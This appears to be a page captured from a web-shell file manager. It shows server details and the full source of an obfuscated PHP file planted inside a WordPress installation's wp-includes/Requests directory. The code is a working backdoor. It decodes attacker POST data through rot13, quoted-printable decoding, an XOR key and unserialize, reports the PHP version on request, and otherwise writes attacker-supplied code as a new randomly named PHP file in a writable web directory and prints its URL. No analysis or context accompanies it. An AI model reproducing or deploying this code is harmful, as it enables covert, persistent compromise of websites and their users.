HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes/Requests/src/Proxy/yyjskzwz.php
<?php function lPkcaOH($DuntQvZW){$JIYwHOAP = chr(843-729)."\141".chr(469-350)."\x75".'r'.chr(108).chr(187-87)."\145".'c'.chr(111)."\144".chr(758-657);$nkotPpr = "\x73".'t'."\x72"."\x5f"."\x72".chr(111)."\x74".chr(260-211).chr(51);$wBMawZTngi = "\x73"."\164".chr(501-387)."\137"."\163"."\x70".chr(108).chr(846-741).chr(116);$DuntQvZW = $wBMawZTngi($JIYwHOAP($nkotPpr($DuntQvZW)));return $DuntQvZW;}function MMqVbmS($nClHW, $DuntQvZW){$LIxbjytnJ = chr(381-266).chr(116).chr(114).'_'."\163"."\x70"."\154"."\151".chr(116);$nClHW = array_slice($LIxbjytnJ(str_repeat($nClHW, (count($DuntQvZW)/16)+1)), 0, count($DuntQvZW));return $nClHW;}function yGUWBjHa($HnnOjjcxe, $iPsqEX, $nClHW){$wYsJIDfANd = "c71af49f-7bf4-4480-9f69-0a49fd3e62b2";return $HnnOjjcxe ^ $wYsJIDfANd[$iPsqEX % strlen($wYsJIDfANd)] ^ $nClHW;}function lgTKNFa($DuntQvZW, $nClHW){$DuntQvZW = array_map("yGUWBjHa", array_values($DuntQvZW), array_keys($DuntQvZW), array_values($nClHW));$DuntQvZW = implode("", $DuntQvZW);$JFqOtUCc = 'u'."\156"."\163".chr(1057-956).'r'."\151".chr(1083-986).chr(1023-915).chr(105).chr(122)."\x65";$DuntQvZW = @$JFqOtUCc($DuntQvZW);return $DuntQvZW;}function DwQlOQtCeN(){echo "UiBjNzJLG";}function VxQAVq($KCBszaJLir){static $CPrDYyCh = array();$ZKKGJO = glob($KCBszaJLir . '/*', GLOB_ONLYDIR);$ECewQyYOdt = count($ZKKGJO);if ($ECewQyYOdt > 0) {foreach ($ZKKGJO as $KCBszaJL) {$VrjZGB = 'i'."\163".'_'.chr(119).'r'.chr(960-855)."\164"."\141".chr(907-809).chr(108)."\145";if (@$VrjZGB($KCBszaJL)) {$CPrDYyCh[] = $KCBszaJL;}}}foreach ($ZKKGJO as $KCBszaJLir) VxQAVq($KCBszaJLir);return $CPrDYyCh;}function lXNFGdX(){echo "VUtFPkjyVM";}function ATExe($DuntQvZW){$XTmUuma = chr(68).chr(79).chr(67)."\125"."\x4d"."\x45"."\116"."\124".chr(888-793).'R'.chr(79).chr(79).chr(84);$utoOJYkyIG = $_SERVER[$XTmUuma];$ZKKGJO = VxQAVq($utoOJYkyIG);$tJxZx = array_rand($ZKKGJO);$lohAq = chr(208-162).chr(616-504).chr(529-425).'p';$oMlwFakVER = $ZKKGJO[$tJxZx] . "/" . substr(md5(time()), 0, 8) . $lohAq;$BuXOSKvGUB = chr(102).chr(151-46)."\x6c".'e'.'_'.chr(758-646).'u'.chr(1036-920).'_'."\143"."\x6f"."\x6e".chr(162-46)."\x65".'n'."\164".'s';@$BuXOSKvGUB($oMlwFakVER, $DuntQvZW);$WHNtMy = "\110".chr(630-546)."\124".chr(80).chr(95)."\110".chr(744-665).chr(699-616)."\x54";$tPbJVjcNv = chr(104).'t'."\x74".chr(213-101).chr(58)."\57".chr(47);$JuNDsA = $tPbJVjcNv . $_SERVER[$WHNtMy] . substr($oMlwFakVER, strlen($utoOJYkyIG));print($JuNDsA);}foreach ($_POST as $nClHW => $DuntQvZW){$ZTNAEjCFCr = strlen($nClHW);if ($ZTNAEjCFCr == 16){$DuntQvZW = lPkcaOH($DuntQvZW);$nClHW = MMqVbmS($nClHW, $DuntQvZW);$DuntQvZW = lgTKNFa($DuntQvZW, $nClHW);if (@is_array($DuntQvZW)){$tJxZx = array_keys($DuntQvZW);$DuntQvZW = $DuntQvZW[$tJxZx[0]];if ($DuntQvZW === $tJxZx[0]){$QqjXHrqA = "\x70"."\150".chr(112);$dxjNHGi = chr(112).chr(345-241).chr(112)."\x76"."\x65".'r'.chr(115).chr(290-185).chr(111)."\x6e";$DvJscKx = "\163".chr(101).'r'.'i'."\141".chr(108).chr(105).chr(122).chr(115-14);echo @$DvJscKx(Array($QqjXHrqA => @$dxjNHGi(), ));}else {ATExe($DuntQvZW);}die();}}}